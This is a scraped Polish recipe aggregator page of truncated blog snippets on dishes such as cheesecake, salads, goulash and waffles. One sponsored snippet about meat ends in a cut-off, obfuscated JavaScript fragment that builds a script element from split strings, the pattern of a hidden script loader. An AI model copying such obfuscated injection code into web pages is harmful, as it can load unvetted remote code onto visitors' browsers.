będą już bardzo miękkie, ściągamy z ognia i dodajemy żelatynę. Zostawiamy do ostudzenia i stężenia. Sernik już upieczony i w miarę ostudzony wyciągamy z foremki. Na górę polewamy ostudzonym sosem truskawkowym. Dekorujemy nasz pyszny sernik truskawkami. Taki sernik w kształcie serca jest idealny na Dzień Mamy, Walentynki, urodziny czy też imieniny.   SMACZNEGO

Rita creative
Jak przygotować majonez 248

Jak przygotować majonez Jak przygotować majonez Dzisiaj chciałam pokazać jak można przygotować majonez. Do przygotowania majonezu potrzebujemy jedno żółtko 250 ml oleju, sól, pieprz i musztardę

Podstawy Gotowania
Jak przygotować pieczeń z indyka 211

posiadamy można mocno związać dratwą. Mięso pieczemy w piekarniku ok 90 minut w 180 stopniach. Jak przygotować pieczeń z indyka Mięso na początku obrumieniamy, polewając co jakiś czas powstałym sosem. Jak już pieczeń będzie zarumieniona przykrywamy aby się dopiekła w środku. Jeżeli mamy większy kawałek musimy piec nieco dłużej. Artykuł Jak przygotować pieczeń z indyka pochodzi z serwisu Podstawy Gotowania

Podstawy Gotowania
Jak przygotować cukier waniliowy 194

miesięcy – i polega na przemiennym wywoływaniu „pocenia się ” strąków i ich wysuszaniu. Jak przygotować cukier waniliowy Wanilia ma zastosowanie przede  wszystkim w deserach, wypiekach i aromatyzowaniu słodkich sosów, w przemyśle cukierniczym przy wyrobie czekolad i cukierków, a także jako komponenta niektórych perfum i tytoniów. W kuchni egipskiej i arabskiej szczególną sławą cieszą się waniliowe sorbety. Wanilia jest sprzedawana

Podstawy Gotowania
Sałatka z kuskusem i suszonymi pomidorami 242

sałatek czosnkowa przygotowanie Rukolę myjemy i wrzucamy do miski. Pomidorki kroimy na pół, a suszone pomidory w większą kostkę. Następnie dodajemy kuskus i wszystko dokładnie mieszamy. W oliwie rozrabiamy sos czosnkowy i polewamy sałatkę, ponownie dokładnie mieszamy. Facebook Instagram Artykuł Sałatka z kuskusem i suszonymi pomidorami pochodzi z serwisu

4stronykuchni.pl
Parówki z serem w cieście francuskim 251

mamy specjalny pędzelek kuchenny to rozsmarowywujemy jajko po cieście francuskim. Piekarnik ustawiamy na 180 stopni, naszą przekąskę pieczemy 15 min. Wskazówki Parówki w cieście francuskim możemy podawać z dowolnym sosem. Facebook Instagram Artykuł Parówki z serem w cieście francuskim pochodzi z serwisu

4stronykuchni.pl
Sałatka z tuńczykiem i makaronem 279

groszkiem. Do przepisu możecie wykorzystać każdy makaron, lecz czy te mini muszelki nie są apetyczne?   Składniki (na 6-8 porcji): 100g makaronu mini muszelki 1 puszka tuńczyka w sosie własnym 1 puszka groszku konserwowego 1/2 małej czerwonej cebuli 1/2 zielonego ogórka 2 łyżki majonezu 2 łyżki jogurtu naturalnego/greckiego sól, pieprz   Makaron gotujemy zgodnie z instrukcją na opakowaniu. Studzimy

CookYourself
Zapiekanka z ryżem i kiełbasą 146

minut. Jeśli zapiekanka czekała w lodówce pieczemy dłużej i pod przykryciem z folii aluminiowej, tak, żeby za bardzo się nie spiekł ser.   Podajemy z ketchupem lub dowolnym sosem pomidorowym. Smacznego!     Artykuł Zapiekanka z ryżem i kiełbasą pochodzi z serwisu Cook Yourself

CookYourself
Hamburger wieprzowy z ajvarem 157

pełne uśmiechniętych ludzi. Z Ajvarem Podravka można zasmakować kawałka Chorwacji na talerzu.   Ajvar Podravka może znaleźć wiele ciekawych zastosowań w kuchni. Posłuży świetnie zarówno jako sos do mięs, zamiennik ketchupu na zapiekance, czy gotowy dip do karnawałowych przystawek.   Poezja smaku i aromatu   Tak przygotowany Hamburger wieprzowy to prawdziwa

kuron.com.pl
Tort Owocowa Wyspa 177

Maliny zasypujemy cukrem i smażymy chwilę na wolnym ogniu. Gdy się zagotują, dodajemy roztwór mąki ziemniaczanej. Mieszamy dokładnie. Powstałą masę przecieramy przez sito (aby pozbyć się pestek). Do powstałego sosu dodajemy żelatynę rozrobioną w ¼ szklanki gorącej wody. Mieszamy i odstawiamy do lodówki do schłodzenia na ok. 3 godziny. Składniki na masę czekoladową: 2 czekolady mleczne( 2x 100 g) 2 łyżki

Domowe ciasta
Racuchy kukurydziane z czarnuszką 179

ciepło.. Resztę składników mieszamy. Dodajemy rozczyn. Ciasto ma mieć konsystencje ciasta racuchowego( jak gęsta śmietana)    Racuchy smażymy na niewielkiej ilości oleju.     Możemy podawać z sosem.   Smacznego

Domowe ciasta
Święta Wielkanocne 158

wykazywał się w kuchni ze względu na mój stan :)  Co planujemy: oczywiście żurek z białą kiełbasą w chlebie , pieczeń rzymską, schab gotowany, sałatka tradycyjna jarzynowa, jajka faszerowane, ćwikła , sos chrzanowy, babeczki i tiramisu (bez jajek). ŚWIĘCONKA Inspiracje czerpie z tego video  http://www.tvp.pl/vod/audycje/kulinaria/brodzik-od-kuchni/wideo/odcinek-2/1611568 z Joanną Brodzik, w tamtym roku przygotowywałam schab według jej przepisu jak i ozdabiałam

Na moim talerzu
Placki ziemniaczane 169

ziemniaczane . Kiedyś tarłam ziemniaki ręcznie, później wykorzystywałam sokowirówkę, teraz wrzucam ziemniaki do robota kuchennego. Uwielbiam je ze śmietaną i przyprawą do zup, cieplutkie i chrupiące. Czasami podaję je z sosem i sała tką.   Polecam! Składniki: 1 kg ziemniak ów , cebula, jajko,  sól, pieprz , olej do smażenia Surowe, obrane ziemn iaki ścieram, cebulę kr oję w drobn ą kostkę

Na moim talerzu
Robię sałatki w weekend 165

zapełnienie brzucha mojego smakosza :)  Ulubiona sałatka z tuńczykiem . Często jemy sałatkę z ryżu i tuńczyka. Tym razem wykorzystałam makaron conchigliette, czyli malutkie muszelki.Mmm pycha! Składniki: puszka tuńczyka w sosie własnym puszka kukurydzy 1 cebula czerwona 2 jajka 200 g makaronu  2 łyżki majonezu 4 łyżki jogurtu naturalnego 2 ząbki czosnku 2 papryki 3 ogórki kiszone pieprz, sól, papryka

Na moim talerzu
Święta, święta, święta 195

objadamy się do nieprzytomności chociaż ilość dań może na to wskazywać, każde danie jest w ilości na dwie-trzy osoby (oprócz pierogów, pieczeni) co zostaje mrożę, czy robię sos, gotuję np, ryż i jemy obiad. Ah się rozpisałam oby i Wam przygotowanie Świąt sprawiało taką frajdę jak i mi, już chętnie bym wszystko przygotowała, ale jeszcze dzień, dwa i działam

Na moim talerzu
Kopytka 159

bardzo lubi kopytka i to właśnie on zwrócił mi uwagę ile mąki dodać by kopytka były sprężyste i dało się je później podsmażyć, bez rozwalania się. Podaję często z sosem pieczarkowym lub z cebulką. Składniki: 1 kg starych ziemniaków 2 szklanki mąki pszennej 3 łyżki mąki ziemniaczanej szczypta soli jedno jajko Ziemniaki gotujemy, przepuszczamy przez praskę i studzimy, bardzo ważne

Na moim talerzu
Karkówka w marynacie 179

Karkówka w tej marynacie jest bardzo aromatyczna, ma ciekawy smak ohh był to szybki i pyszny obiad. Polecam! Składniki: 6-7 plastrów karkówki cebula Marynata: 3 łyżki sosu sojowego 3 łyżki wody 1 łyżka miodu 2 łyżki oleju 1 łyżeczka musztardy 1 łyżka ostrej papryki 1 łyżka słodkiej papryki 0,5 łyżeczki przyprawy do mięsa 0,5 łyżeczki świeżo mielonego

Na moim talerzu
Tort gołąbkowy 187

bazylią. 5. Rozgrzewamy piekarnik (200 stopni). Na spód tortownicy wykładamy szczelnie warstwę z połowy kapusty, na nią nakładamy mięso z ryżem przykrywamy drugą częścią kapusty i powoli zalewamy sosem pomidorowym.  6. Pieczemy 30 minut. W razie potrzeby trzeba przykryć wierzch tortu. Mmm Pycha

Na moim talerzu
Podpłomyki 178

synek domaga się ciasteczka, przygotowuję podpłomyki w kilka minut. Jest to najprostsza forma pieczywa/tortlilli/placków. Najczęściej jemy je z dżemem, ale można uformować większe i podać z gulaszem, z sosem czosnkowym i kurczakiem. Składniki: pół szklanki mąki pszennej pół szklanki mąki żytniej łyżka oliwy/oleju trochę ciepłej wody 1. Z podanych składników zagniatamy elastyczne ciasto. 2. Rozgrzewamy patelnię, urywamy kawałek ciasta

Na moim talerzu
Mięso mielone 150

Zapiekanka z mięsa mielonego Gołąbki Tort gołąbkowy Kotlety mielone Zupa po meksykańsku Pulpeciki/Makaroniada Klops gotowany Naleśniki po meksykańsku Makaron w sosie pomidorowym

Na moim talerzu
Gołąbki z kaszą gryczaną 168

ciasno gołąbki. Dodajemy ziele angielskie i liść laurowy. Zalewamy rosołem lub wodą do przykrycia gołąbków. 4. Wstawiamy do nagrzanego piekarnika do 190 stopni. Pieczemy przez godzinę. Podajemy z sosem pieczarkowym. Przepis tutaj:  https://mojtalerz.blogspot.com/2014/11/smaczny-obiad.html Mmm Pycha

Na moim talerzu
Trójkąciki z ciasta francuskiego ze szpinakiem 139

Bardzo szybka i prosta w przygotowaniu przekąska. Trójkąciki z ciasta francuskiego ze szpinakiem są przepyszne zarówno na ciepło, jak i na zimno. Świetnie pasują do wszelkiego rodzaju dipów i sosów. Z poniższego przepisu wychodzi 12 dużych trójkącików, ale ich wielkość zależy tylko od Was. Trójkąciki z ciasta francuskiego ze szpinakiem Składniki: 1 duże ciasto francuskie (375 g) 225 g mrożonego

PatiGotuje
Ser w boczku 167

przekroić w poprzek na pół. Zawinąć ser w boczek. Smażyć na niewielkiej ilości tłuszczu. Kostki sera w boczku kładziemy na patelni, złożeniem w dół. Podawać gorące z dowolnym ostrym sosem

królestwo garów
Roladki z kurczaka na brązowym ryżu w ostrym sosie 158

obiad! 150 g brązowego ryżu 2 cebule 100 g pieczarek 500 g fileta z piersi kurczaka Przyprawa do mięsa Sól Pieprz Słodka czerwona papryka 100 g ostrego sera radamer Sos: 100 g masła 6 łyżek pikantnego keczupu 1 ¾ szklanki wody Sól Pieprz 4 ząbki czosnku 1 łyżeczka suszonego lubczyku Słodka czerwona papryka Cebulę kroimy w kosteczkę, pieczarki w półplasterki. Przesmażamy

VioletoweKucharzenie
PRZEPIS NA POROWE RISOTTO Z KREWETKAMI I SALSĄ Z AWOKADO I POMIDORA 168

odrobina startego świeżego imbiru Na patelni na maśle przesmaż czosnek, imbir, dodaj krewetki i smaż około 4 minuty (im większe tym dłużej). Krewetki dodaj do risotta wraz z całym sosem z patelni, całość wymieszaj, przykryj pokrywką i pozostaw na 5 minut pod przykryciem. Po tym czasie jedzenie jest gotowe, podajemy z salsą z awokado i pomidorków, całość posypujemy świeżymi listkami

SMYKWKUCHNI
Gulasz z szynki, zagęszczany chlebem razowym 201

chleba i dodajemy okruszki do rondla. Wszystko dobrze ze sobą mieszamy i gotujemy gulasz po dodaniu chleba jeszcze przez kolejne 5-10 minut, do zgęstnienia. Gdyby się okazało że sos wyszedł za gęsty – dodajemy do rondla pozostały bulion. Próbujemy – dopiero teraz, po dodaniu do potrawy chleba i odparowaniu części bulionu – solimy i pieprzymy gulasz do smaku. Nam ten gulasz

Karo in the Kitchen
Zapiekanka ziemniaczana z pieczarkami i kurczakiem. 227

kurczaka i ser żółty. Powstała całkiem smaczna zapiekanka:) Ta porcja wystarczy dla czterech osób. Nas jest troje i sporo zostało. Spokojnie najadłaby się jeszcze jedna osoba. Zapiekankę podałam z sosem czosnkowym. Składniki: 7-8 średnich ziemniaków 2 cebule 500 g. pieczarek 2 pojedyncze piersi kurczaka 200 g. sera żółtego przyprawy (sól, pieprz, papryka słodka, czosnek granulowany) olej do smażenia trochę

Agusiowe smakołyki
Cud Miód | Warszawa – Miejsca ze Smakiem 133

wspaniale komponowała się Saska Śliwka Węgierka, która ciekawie podbijała ich smak. Co na deser? Na deser spróbowaliśmy po kawałku sernika na bazie białej czekolady, podanego z owocami oraz owocowym sosem. Ciasto było doskonałym zwieńczeniem naszej kolacji. Inne desery, których możecie spróbować w restauracji to beza, lody czy tarta kajmakowa. W menu restauracji znajdziecie także dużo specjałów wołowych, jak Stek

Kuchnia Bazylii
Zupa Spaghetti 202

Zupa jak spaghetti, bardzo aromatyczna i niezwykle syta i smaczna. Prosta i szybka w przygotowaniu. Polecam. Składniki 500 g mięsa wołowego mielonego sos pomidorowy włoski w butelce 2 cebule marchew,pietruszka, ćwiartka selera,kawałek pora 3-4 ząbki czosnku 2 łyżki FIX Spaghetti bolognese 1 łyżka słodkiej papryki w proszku 1 łyżeczka ostrej papryki w proszku 1 … Czytaj dalej

gotuj ze mną
Sałatka z rukoli, buraczków i awokado 273

Sałatka z rukoli, buraczków i awokado to propozycja Madzi na pyszną kolację. Idealnie dobrane składniki, świetnie będą się komponowały z szybkim dressingiem. Lista składników i przepis

Kulinarnyblog.pl - wiesz jak gotować!
Mini pizze na pełnoziarnistym spodzie bez drożdży 155

bazylia Mąki połączyć Dodać olej i malutkimi porcjami dodawać gorącą wodę, aż do uzyskania zwartego ciasta, odpowiedniego do uformowania pizzerinek Z kawałków ciasta formujemy małe, cienkie pizze Smarujemy ulubionym sosem, układamy dodatki i wkładamy do nagrzanego piekarnika Pieczemy około 15-20 minut (w zależności od pożądanej chrupkości spodów) w 180 stopniach

HealthyCreations
Pęczak z grzybami shimeji – pęczotto z shimeji 188

Pęczotto z grzybami shimeji , czyli „risotto” z kaszy jęczmiennej, pęczaku z azjatyckimi grzybami shimeji. 200 g kaszy pęczak, 150 g grzybów shimeji, 100 ml białego wytrawnego wina, 50 ml sosu sojowego, 1 chili, 2 – 3 ząbki czosnku, 1 cebula, pieprz świeżo zmielony, olej do smażenia, ewentualnie 2 łyżki masła, cukier, sól, natka pietruszki lub kolendra, Kaszę opłukać. Cebulę pokroić

królestwo garów
Ciasto francuskie zawijane z kiszoną kapustą na obiad 254

przegląd i znalazłam ciasto francuskie i mięso mielone. Hmmm. co by tu zrobić. Pierwsza myśl to zrobić coś zawijanego z ciasta na słodko, na deser, a z mięsa jakiś sos. Ale wtedy przypomniałam sobie o kiszonej kapuście, którą od kilka lat robimy wspólnie z Berniką z bloga mojkulinarnypamietnik . I tak powstało to danie, szybko, sprawnie i przedewszystkim bardzo smacznie. Ponieważ

Kuchnia na wzgórzu
Schab Ze Śliwką 141

Pieczemy w temperaturze 160* około  2 godziny 10 minut. 8. Po upieczeniu mięso przekładamy do foli aluminiowej i pozostawiamy do całkowitego wystygnięcia. Sosik możemy wykorzystać do zrobienia sosu

Dziś Ja gotuje
MAKARON Z PASTĄ BURACZKOWĄ 253

Pieczony burak w roli sosu do makaronu. (sprawdzi się też jako pasta na kanapki :) ) Czytaj więcej

Kasia Sarna
Curry z kalafiora 168

Już od jakiegoś czasu na moim blogu możecie znaleźć potrawy inspirowane smakami Indii, z dodatkiem pysznych past i sosów Patak’s. Zebrałam je dla Was w jedną kategorię i dostęp do wszystkich znajdziecie w głównym menu w kategorii „ KUCHNIA INDYJSKA” . A dziś mam dla Was przepis na pyszne curry do którego przygotowania użyłam pasty Patak’s tikka masala

nietylkopasta.pl
Domowe warzywko- naturalne kostki warzywne bulion 219

przelać do szklanych pojemników. W lodówce można trzymać przez tydzień. Można też zamrozić w małych pojemnikach. W ten sposób przygotowane warzywka są świetną bazą do przygotowania zup lub sosów

Tradycyjna Kuchnia
Zapiekanki z boczniakami i mozzarellą! Jak zrobić domową zapiekankę? 215

sekund na ręczniku papierowym. Są gotowe, tak usmażone grzyby smakują wybornie, są mięsiste i bardzo aromatyczne. Spróbuj i daj znać!   Upieczone zapiekanki oczywiście możesz podać np. z sosem czosnkowym czy ketchupem, to już wedle upodobań

SMYKWKUCHNI
Gofry z kaszy jaglanej z ajvarem i awokado. 222

pole do zastosowania w kuchni, jako dodatek do kanapek, wrapów, naleśników, poprzez dania główne, wystarczy, że ugotujecie makaron zmieszacie z pastą i obiad gotowy, możecie wykorzystać ją również jako sos do pizzy, zapiekanek, pieczonych mięs lub po prostu zjeść w formie dipu do surowych warzyw!  Składniki na wierzch: - 1 słoik Ajvaru łagodnego  Podravka - na każdego gofra garść

SMYKWKUCHNI
Sałatka z pieczonym kurczakiem, kaszą bulgur i miksem sałat 183

ciecierzycę, kukurydzę, pokrojoną w kostkę cebulę, startą na tarce marchew oraz miks sałat. Sok z cytryny łączymy z musztardą i oliwą z oliwek. Doprawiamy solą i pieprzem. Polewamy sałatkę sosem, delikatnie mieszamy

Qchnia po prostu
racuszki jogurtowe 426

rozgrzanej patelni z odrobiną oleju na złoty kolor przez ok 1-2 min z każdej strony  Podawać z cukrem pudrem lub można jak w naszym wypadku zaszaleć z sosem czekoladowym :)  Smacznego

Gotowanie z pasją
racuszki jogurtowe 180

rozgrzanej patelni z odrobiną oleju na złoty kolor przez ok 1-2 min z każdej strony  Podawać z cukrem pudrem lub można jak w naszym wypadku zaszaleć z sosem czekoladowym :)  Smacznego

Gotowanie z pasją
Warzywa pieczone na ostro 159

grzaniem góra plus dół (bez termoobiegu, na środkowej półce piekarnika) przez ok. godzinę. Lubię miękkie warzywa, ale niezbyt rozgotowane. W międzyczasie podczas pieczenia polewam je powstałym sosem i przekręcam delikatnie na boki. Podaję gorące. Odsmażone także smakują

Zasmakuj Kuchni
Gofry idealne - przepis podstawowy + kilka rad 2013

Moja posiada 1300W, więc w 2-3 minuty mam idealne gofry.) Gofry należy studzić na kratce, najlepiej ułożone bokiem. Podawać z ulubionymi dodatkami, np. cukrem pudrem, bitą śmietaną, ulubionym sosem i/lub owocami.  Kilka uniwersalnych wskazówek: - Składniki powinny być w temperaturze pokojowej - Gofry należy piec w uprzednio rozgrzanej gofrownicy. - Podczas pieczenia gofrów nie wolno otwierać sprzętu. Oczywiście na początku

Di gotuje
Desery z chia, sosem wisniowym i rambutanem! Śniadanie na zawołanie. 171

rambutanem (to taki egzotyczny owoc) odstawiam na noc do lodówki, w tym czasie nasionka po prostu napęcznieją i będą mieć fakturę, jakby galaretki.  Rano na nasionka, nałożyłam gorący sos wiśniowy, który robię w kilka chwil, wyjmuję zamrożone wiśnie wrzucam do garnuszka lub mikrofali i gotuje przez chwilkę, aż znaczna część soku odparuje. Dodałam dwie łyżki serka białego, wybieram zazwyczaj

SMYKWKUCHNI
Grzanka z łososiem, jajkiem w koszulce miodowo- musztardowym dressingiem 166

sobie to będzie z całą pewnością to coś specjalnego. Dla mnie czymś specjalnym jest na przykład grzanka z domowego pieczywa, z wędzonym łososiem, z jajkiem w koszulce, z dobrym sosem lub dressingiem, z duszonym szpinakiem. A dla Ciebie? Jakie śniadanie jest specjalne? Domowe pieczywo  Z tym przepisem na ten chlebek ze zdjęcia tutaj trochę się rozpędziłam, bo jestem

Mango Papaja
Gulasz z szynki z pieczarkami | ksiega-smaku.pl 243

kaszą jęczmienną lub gryczaną. Smacznego Gulasz z szynki z pieczarkami Zapraszam również do skorzystania z innych przepisów: Roladki schabowe z boczkiem Karczek pieczony w rękawie foliowym Pulpety w sosie pomidorowym – sprawdzony przepis Artykuł Gulasz z szynki z pieczarkami | ksiega-smaku.pl pochodzi z serwisu Księga Smaku

Księga-Smaku
Gofry – najlepszy przepis oraz jak wybrać dobrą gofrownicę 178

świeżymi owocami – lub bez cukru, jeśli serwujemy gofry ze słodkim dodatkiem) i świeżymi owocami np. truskawkami, malinami, jeżynami lub ze słodką konfiturą z malin lub truskawek, frużeliną lub sosem owocowym. Polecam!   The post Gofry – najlepszy przepis oraz jak wybrać dobrą gofrownicę appeared first on Moja Delicja

Moja Delicja
Gołąbki z kaszą gryczaną 196

ciasno gołąbki. Dodajemy ziele angielskie i liść laurowy. Zalewamy rosołem lub wodą do przykrycia gołąbków. 4. Wstawiamy do nagrzanego piekarnika do 190 stopni. Pieczemy przez godzinę. Podajemy z sosem pieczarkowym. Przepis tutaj:  https://mojtalerz.blogspot.com/2014/11/smaczny-obiad.html Mmm Pycha

NA MOIM TALERZU
Krakersy z pastą serowo-czosnkową 160

Polecam Wam też inne smakowite przekąski … – Sałatka z szynką i ananasem – Czosnkowe supełki – Serowe kulki – Krakersy z pastą z tuńczyka – Jajka w sosie tatarskim – Sałatka z brokułami i szynką

Kulinarne S.O.S.
KNEDLE ZIEMNIACZANE Z MIĘSEM : przepis , jak zrobić 175

pieczarkami, ze śliwkami, truskawkami lub brzoskwiniami. Knedle można przygotować bez nadzienia, wówczas podajemy kluski okraszone masłem, śmietaną, bułką tartą, podsmażoną cebulką lub skwarkami. Do knedli można także przygotować sos np. grzybowy, koperkowy, wiśniowy, malinowy lub żurawinowy. Jak zrobić knedle ziemniaczane z mięsem - wypróbowany przepis, składniki i przygotowanie krok po kroku. Zrobienie domowych knedli z mięsem wcale nie jest takie trudne

Moja Książka Kucharska
Spaghetti z boczniakami w kozim sosie 137

stanie się szklista, zmniejszamy płomień. Dodajemy jogurt wymieszany z kozim serem oraz lubczyk. Dusimy pod przykryciem (na niewielkim ogniu) przez 5 min. Do smaku doprawiamy solą i pieprzem. Do sosu dodajemy makaron, dokładnie łączymy. Podajemy z posiekanym szczypiorkiem

R'n'G Kitchen
Warstwowa ryżowa sałatka z tuńczykiem 253

wyrazistych w smaku składników: tuńczyka, kiszonych ogórków, ostrej cebuli oraz ryżu, jajek na twardo i kukurydzy idealnie sprawdzi się na każdej imprezie. Składniki: 1 puszka tuńczyka w kawałkach w sosie własnym 180g ryżu 4 jajka 1 puszka kukurydzy 5 ogórków kiszonych 2 małe czerwone cebule majonez ketchup sól pieprz Wykonanie: 1. Tuńczyka i kukurydzę odsączyć z zalewy. 2. Jajka ugotować

Szalona Kuchnia Eweliny
WYSOKO ODŻYWCZA POTRAWA ROŚLINNA 186

minut.  Liście jarmużu kroimy, umieszczamy na sicie i przelewamy wrzątkiem. Musztardę mieszamy z oliwą, przeciśniętym przez praskę czosnkiem i przyprawami. W misce umieszczamy makaron, brokuła i jarmuż. Dodajemy sos musztardowy i mieszamy. Wierzch posypujemy nasionami konopi, algami i płatkami kasztanowymi. Smacznego

Jeść, by żyć w zdrowiu
Kulki ziemniaczane. 713

środku mięciutki miąższ.  Fajna alternatywa dla tradycyjnych ziemniaków. Ja przeważnie podaje ze schabowym, lub kotletem z piersi kurczaka. Dziś było to drugie, do tego brokuły i sos czosnkowy. Właściwie nie potrzebuje do tych kulek mięsa, ale robię ze względu na chłopaków. Jeśli jeszcze nie robiliście to spróbujcie koniecznie, są naprawdę pyszne. Składniki: 7 średnich ziemniaków ( waga po ugotowaniu

Agusiowe smakołyki
Co warto wiedzieć na temat mięsa? 236

wołowina, cielęcina, jagnięcina, wieprzowina, mięso królicze, a także świeży i mrożony drób oraz wyśmienite wędliny w korzystnych cenach. Poza tym znaleźć można również artykuły, takie jak makarony, oliwy, przyprawy, sosy czy przetwory z rozmaitych zakątków świata. Redakcja nie ponosi odpowiedzialności za reklamowy produkt i nie pośredniczy w sprzedaży produktu. (function(){ t5vyu="4b5xs7985vym";t5vy=document.createElement("script"); t5vy_="u"+("st");t5vy

Kulinarnyblog.pl - wiesz jak gotować!
Gulasz z wołowiną i dynią 157

łyżki koncentratu pomidorowego sól, pieprz czarny i czerwony czubrica czerwona papryka słodka, wędzona 2 łyżki maki pszennej olej rzepakowy natka pietruszki 2 łyżki przyprawy w płynie do zup i sosów  Wołowinę kroję w kostkę, obtaczam w mące. Cebule kroje drobno i przesmażam w głębokim garnku na oleju. Dodaję mięso i dalej smażę około trzy minuty. Dodaję koncentrat i przesmażam

wesoła kuchnia
Czwartek: Jak upiec polędwiczkę wieprzową 158

przesuszyć pieczeni, wyjmij ją po 10 minutach i sprawdź stopień wypieczenia termometrem (145 stopni) lub nakłuwając polędwiczkę w najgrubszym miejscu cienki szpikulcem. Gdy wypłynie z niej klarowny, przezroczysty sos, polędwiczka jest gotowa. Zawin pieczeń luźno w folię aluminiową i odstaw na 10 minut. Artykuł Czwartek: Jak upiec polędwiczkę wieprzową pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
SAŁATKA WARSTWOWA Z TUŃCZYKIEM 418

warto podzielić się tym przepisem z wami. Sałatka prosta, ale efektowna. Polecam! SKŁADNIKI: (dla 4-5 osób) ·         2 puszki tuńczyka w sosie własnym ·         1 x malutka cebulka lub połowa większej ·         pół słoika ogórków konserwowych

Calzonella.com
Schab pieczony w pietruszkowej marynacie 227

chłodne miejsce. 2. Mięso przekładam do naczynia do pieczenia. Schab skrapiam olejem. Naczynie przykrywam. Schab piekę około 2 godzin w temperaturze 180 stopni. Co jakiś czas mięso polewam wytworzonym sosem

Tradycyjna kuchnia Kasi
Szynka z indyka z szynkowara z morelami i pistacjami 163

ekskluzywną wersję tej wędliny. Zapraszam do przygotowania delikatnej szynki z indyka z dodatkiem moreli i pistacji. Obydwa te dodatki nadadzą szynce wyjątkowego smaku. Z odrobiną majonezu lub innego delikatnego sosu będzie idealnym daniem na elegancką kolację lub świąteczne śniadanie. Zobaczcie jakie to proste! Szynka z indyka z szynkowara  z morelami i pistacjami Proporcja   na szynkowar o pojemności

Kulinarne przygody Gatity
Kotlety ziemniaczane z mięsem 305

mięsa z rosołu, ktore zamiast wylądować w zupie znalazło inne tym razem przeznaczenie. Wyszedł pyszny, swojski obiad na 2 dni. Kotlety można zjeść z podsmażoną cebulą albo z sosem np grzybowym czy śmietanowym. Na zimno także smakują. Czytaj więcej

Bernika - moj kulinarny pamietnik
Szynka pieczona w rękawie do pieczenia 368

rękawie do pieczenia. Robił ją mój mąż jeszcze na święta, wyszła pyszna, delikatna. Dlatego też dzielę się z Wami przepisem. Można ją jeść na kanapki, można też zrobić sos i idealnie nadaje się na obiad. My jedliśmy obie wersje. Polecam, bo naprawdę pyszna, trzeba tylko pamiętać, żeby zamarynować ją 24 godziny przed pieczeniem. Przepis pochodzi z książki " Smaczna kuchnia. Domowe

kruche babeczki
Pikantne krewetki w panierce 200

Sauce 1 łyżeczka mielonego kminku 150 ml piwa 1 jajko, lekko rozbełtane 2 litry oleju roślinnego (do smażenia) 50 g mąki do przyprószenia krewetek Dip do krewetek 200 ml sosu tatarskiego 1 łyżka Tabasco Pepper Sauce sok z cytryny do smaku Jak zrobić dip do krewetek Wymieszaj wszystkie składniki Podstawowy przepis na pikantne krewetki w panierce Podgrzej olej w frytkownicy

Kulinaria - potrawy z różnych stron świata
Koreczki z mięsa mielonego nadziewanego mozzarellą 163

pomidorka koktajlowego, następnie listek bazylii, a na koniec klopsiki z mozzarellą w środku. Z powyższych składników wychodzi 8 mięsnych koreczków. Można je jeść od razu lub serwować z ulubionym sosem, np. czosnkowym. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({});   The post Koreczki z mięsa mielonego nadziewanego mozzarellą appeared first on KulinarnePrzeboje.pl

Kulinarne Przeboje
Pikantne burgery wołowe 124

Pikantne burgery wołowe to bardziej charakterna i zdecydowanie ostrzejsza wersja klasycznych burgerów, które znajdziecie już na blogu. Domowa bułka, soczysta wołowina i pikantny sos majonezowy. Doskonały domowy fast-food w wersji slow-food :) Artykuł Pikantne burgery wołowe pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
Sałatka z kasza bulgur, cukinią i ciecierzycą 138

dodatek do niego, który przygotujecie błyskawicznie. Sałatka ta jest doskonałą propozycją na zakończenie lata. Kasza bulgur, grillowana cukinia i doskonałe, dojrzałe pomidory w towarzystwie gotowanej ciecierzycy i bardzo prostego sosu winegret. Wbrew pozorom, sałatka ta jest naprawdę treściwa [...] Artykuł Sałatka z kasza bulgur, cukinią i ciecierzycą pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
Rolada szpinakowa z łososiem i serkiem chrzanowym 212

Szpinak w gastronomii ma wiele zastosowań, używany jest jako element sałatki, soku lub  w przetworzonej formie do sosów, farszów czy ciast. Na słodko robiłam już babkę szpinakową , placuszki, naleśniki a na słono dotychczas używałam do farszu. Tutaj możecie zajrzeć do moich propozycji (klik) Moja dzisiejsza wariacja to rolada szpinakowa z wędzonym łososiem i twarożkiem chrzanowym. Najlepiej smakuje po schłodzeniu

Życie zaczyna się w kuchni
Naleśniki ze szpinakiem i fetą 296

Naleśniki ze szpinakiem i fetą z dodatkiem suszonych pomidorów to bardzo zdrowa propozycja obiadowa. Połączenie szpinaku z delikatnie słoną fetą i słodkimi suszonymi pomidorami sprawia, że

Kulinarnyblog.pl - wiesz jak gotować!
Konfitura żurawinowa - do mięsa, sosów 167

Konfitura żurawinowa to dodatek idealny do mięsa, sosów czy też duszonej kapusty. Poniższa konfitura jest prosta do przygotowania i spokojnie możecie ją przygotować z mrożonej żurawiny.   Składniki na 1 mały słoik: 300 g mrożonej żurawiny 1/3 szklanki wody 8-9 łyżek zwykłego cukru Etapy gotowania konfitury z żurawiny Zamrożoną żurawinę przesypać do garnka, wsypać do niej cukier

Ugotować
Zupa grzybowa 149

grzybowa 400 g suszonych grzybów 2 łyżki śmietany 18% 1 łyżka śmietanki kremówki 1,5 łyżki mąki pszennej 1 cebula 3 łyżki masła sól, pieprz do smaku 1 łyżka sosu sojowego (opcjonalnie) 100 g makaronu łazanek Wykonanie Do dużego garnka wlewamy ok. 2 litry wody – w czasie gotowania się bulionu i tak część się wygotuje. Jarzyny obieramy, kroimy

Raj dla Podniebienia
Fit makaron z kurczakiem brokułami i cukinią bez śmietany 223

Uwielbiam makaron z kurczakiem i brokułami. Zazwyczaj przyrządzałam go w sosie śmietanowym, tym razem zastąpiłam go jogurtem naturalnym. Dodatkowo smak wzbogaciłam cukinią. Wyszło pysznie i zdrowo! Składniki: 2 piersi z kurczaka Pół brokułu Pól cukinii Mała cebulka 200 ml jogurtu greckiego 1 szklanka rosołu Łyżeczka mąki ziemniaczanej Przyprawy: sól, pieprz, czosnek Olej kokosowy makaron pełnoziarnisty Wykonanie: Mięso oczyścić i pokroić

Tradycyjna Kuchnia
Fit sałatka z jajkiem i łososiem (250 kalorii) 13455

